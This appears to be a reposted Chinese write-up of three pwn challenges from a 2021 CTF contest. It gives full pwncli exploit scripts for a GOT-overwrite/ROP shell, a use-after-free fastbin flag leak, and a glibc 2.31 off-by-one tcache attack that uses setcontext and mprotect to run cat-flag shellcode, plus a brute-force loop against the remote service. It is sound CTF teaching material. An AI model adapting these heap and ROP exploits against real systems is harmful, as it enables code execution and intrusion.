隴原戰疫2021網絡安全大賽-pwn-wp


隴原戰疫2021網絡安全大賽-pwn-wp

今天正好有事情跟比賽沖突了,回到家已經八點多,花了一個小時左右做了三道pwn題,都是常規題。第四題忙活了半天沒啥進展,想想還是先把前三題的wp寫了。這里總結下每道題的解題思路:

  • bbbaby:題如其名
    • 首先修改__stack_chk_fail@gotputs@plt,只要能繼續往后執行main函數就行
    • 利用main函數棧幀的溢出泄露出libc地址
    • 修改atoi@gotsystem,執行下get_int,輸入/bin/sh即可獲得shell
  • Magic:這題甚至都不需要給libc。題目加了很多無用的分支代碼,需要花點時間分析下,其實題目很簡單。
    • 有個空閑的0x230,應該是fopen分配出來的IO_FILE結構體。剛好能分配50x70。同時偽造一個0x70fastbin chunk的頭。
    • 利用edit部分寫修改fd為偽造的chunk
    • 分配到fake chunk
    • 利用edit泄露出flag
  • h3apclasslibc-2.31下的off by onesetcontext+61利用
    • 堆風水,獲得一個unsorted bin chunk並制造overlapped chunk
    • 爆破4bit,概率為1/16。利用tcache bin分配到_IO_2_1_stdout_結構體上面,泄露libc地址
    • 同樣的方式泄露heap地址。也可以直接用__free_hook附近的區域打,這樣就不需要泄露堆地址
    • 利用tcache bin attack修改__free_hookmov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20]
    • 最后用setcontext+61執行mprotect,然后跳轉執行cat('/flag')shellcode讀取到flag

bbbaby

checksec

image-20211107234049915

漏洞點

任意地址寫:

image-20211107234215669

main函數的棧溢出:

image-20211107234245292

由於有canary,所以需要改掉__stack_chk_fail@got的內容

exp

#!/usr/bin/python3
from pwncli import *

cli_script()

p:tube = gift['io']
elf:ELF = gift['elf']
libc: ELF = gift['libc']
if gift['remote']:
    libc = ELF("./libc-2.23.so")

def write_any(addr, content):
    p.sendlineafter("your choice\n", "0")
    p.sendlineafter("address:\n", str(addr))
    p.sendafter("content:\n", content)


def stack_overflow(data):
    p.sendlineafter("your choice\n", "1")
    p.sendlineafter("size:\n", str(0x1000))
    p.sendafter("content:\n", data)

# change stack_chk

write_any(0x601020, p64(elf.plt.puts))

payload = flat({
    0x118:[
        0x0000000000400a03,
        elf.got.puts, 
        elf.plt.puts, 
        0x40086c,
        0x4007c7
    ]
})

stack_overflow(payload)

p.sendlineafter("your choice\n", "2")

libc_base = recv_libc_addr(p, offset=libc.sym.puts)
log_libc_base_addr(libc_base)
libc.address = libc_base

p.sendlineafter("address:\n", str(elf.got.atoi))
p.sendafter("content:\n", p64(libc.sym.system))

p.sendline("/bin/sh\x00")

get_flag_when_get_shell(p)

p.interactive()

遠程打:

image-20211107234500663

Magic

checksec

image-20211107234544927

給的libc版本為2.23

漏洞點

UAF兩處:

image-20211107234646019

image-20211107234737959

exp

#!/usr/bin/python3
from pwncli import *

cli_script()

p:tube = gift['io']
elf:ELF = gift['elf']
libc: ELF = gift['libc']

def add(idx):
    p.sendlineafter("Input your choice: \n", "1\n\n")
    p.sendlineafter("Input the idx\n", str(idx)+"\n\n")
    p.recvuntil("Search finished\n")


def edit(idx, data):
    p.sendlineafter("Input your choice: \n", "2\n\n")
    p.sendlineafter("Input the idx\n", str(idx)+"\n\n")
    p.sendafter("Input the Magic\n", data)
    p.recvuntil("Magic> ")
    m = p.recvuntil(" <Magic")
    info(f"Get msg: {m}")
    return m


def dele(idx):
    p.sendlineafter("Input your choice: \n", "3\n\n")
    p.sendlineafter("Input the idx\n", str(idx)+"\n\n")
    p.recvuntil("remove the Magic\n")


# alloc
add(0)
add(0)
add(0)
add(0)
add(1)

# prepare for a fake 0x70 chunk
edit(1, flat([0, 0, 0, 0x71]))
dele(1)
dele(0)

# partial overwrite 
edit(0, "\xe0")
add(0)
add(0)

# leak flag
edit(0, "a"*0x50)

p.interactive()

遠程打:

image-20211107234939433

h3apclass

checksec

image-20211107235035475

保護全開,然后google了一下,libc版本為2.31-0ubuntu9.2_amd64

漏洞點

image-20211107235153925

exp

#!/usr/bin/python3
from pwncli import *

cli_script()

p:tube = gift['io']
elf:ELF = gift['elf']
libc: ELF = gift['libc']

context.update(timeout=3)

def add(idx, size, data="deadbeef"):
    p.sendlineafter("4:Drop homework\n", "1")
    p.sendlineafter("Which homework?\n", str(idx))
    p.sendlineafter("size:\n", str(size))
    p.sendafter("content:\n", data)

def edit(idx, data):
    p.sendlineafter("4:Drop homework\n", "3")
    p.sendlineafter("Which homework?\n", str(idx))
    p.sendafter("content:\n", data)


def dele(idx):
    p.sendlineafter("4:Drop homework\n", "4")
    p.sendlineafter("Which homework?\n", str(idx))

cat_flag = asm(shellcraft.amd64.linux.cat("/flag"))

# forge 0x500 chunk
add(0, 0x18, 0x18*"a")
add(1, 0xf8)
add(2, 0xf8)
add(3, 0xf8)
add(4, 0xf8)
add(5, 0xf8)
add(6, 0x18)

# free space
dele(6)
dele(5)
dele(4)
dele(3)
dele(2)

# chaneg size
edit(0, 0x18*"a" + "\x01\x05")
dele(1)

# consume 0x100
add(1, 0x70)
add(2, 0x70)

log_ex(f"Now try to attack stdout...")

if gift['debug']:
    payload = p16_ex(get_current_libcbase_addr() + libc.sym['_IO_2_1_stdout_'])
else:
    payload = p16_ex(0x86a0)

add(3, 0x70, payload)

# free space
dele(1)
dele(2)

add(1, 0xf8)

# leak libc addr
add(2, 0xf8, flat([
    0xfffffbad1887, 0, 0, 0, "\x00"
]))

libc_base = recv_libc_addr(p) - 0x1eb980
log_libc_base_addr(libc_base)
libc.address = libc_base

dele(1)
dele(0)

# leak heap addr
edit(3, p64(libc.sym['_IO_2_1_stdout_'])[:6])
add(0, 0x70)
add(1, 0x70, flat([
    0xfbad1887, 0, 0, 0, libc.sym['__curbrk']-8,libc.sym['__curbrk']+8
]))

m = p.recvn(16)
heap_base = u64_ex(m[8:]) - 0x21000
log_heap_base_addr(heap_base)

dele(0)
# change __free_hook
# 0x0000000000154930: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
edit(3, p64(libc.sym['__free_hook'])[:6])
add(0, 0x70, cat_flag)
add(4, 0x70, p64_ex(0x0000000000154930 + libc_base))

# read flag
cur_heap = heap_base + 0x1450

payload = flat({
    8: cur_heap,
    0x20: libc.sym['setcontext']+61,
    0x30: heap_base + 0x13d0,
    0xa0: cur_heap+0x30, # rsp
    0xa8: libc.sym['mprotect'],
    0x68: heap_base,
    0x70: 0x4000,
    0x88: 7
})

add(5, 0xe8, payload)

dele(5)

m = p.recvline_contains("flag")

if b"flag" in m:
    log_ex_highlight(f"Get flag: {m}")
    sleep(20)

p.close()

然后加一個shell腳本跑一會兒就能拿到flag了。

#!/bin/bash
for i in {1..10}
do
    python3 exp.py re ./H3apClass -p 25373 -nl
done

遠程打:

image-20211108000859215

引用與參考

1、My Blog

2、Ctf Wiki

3、pwncli


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM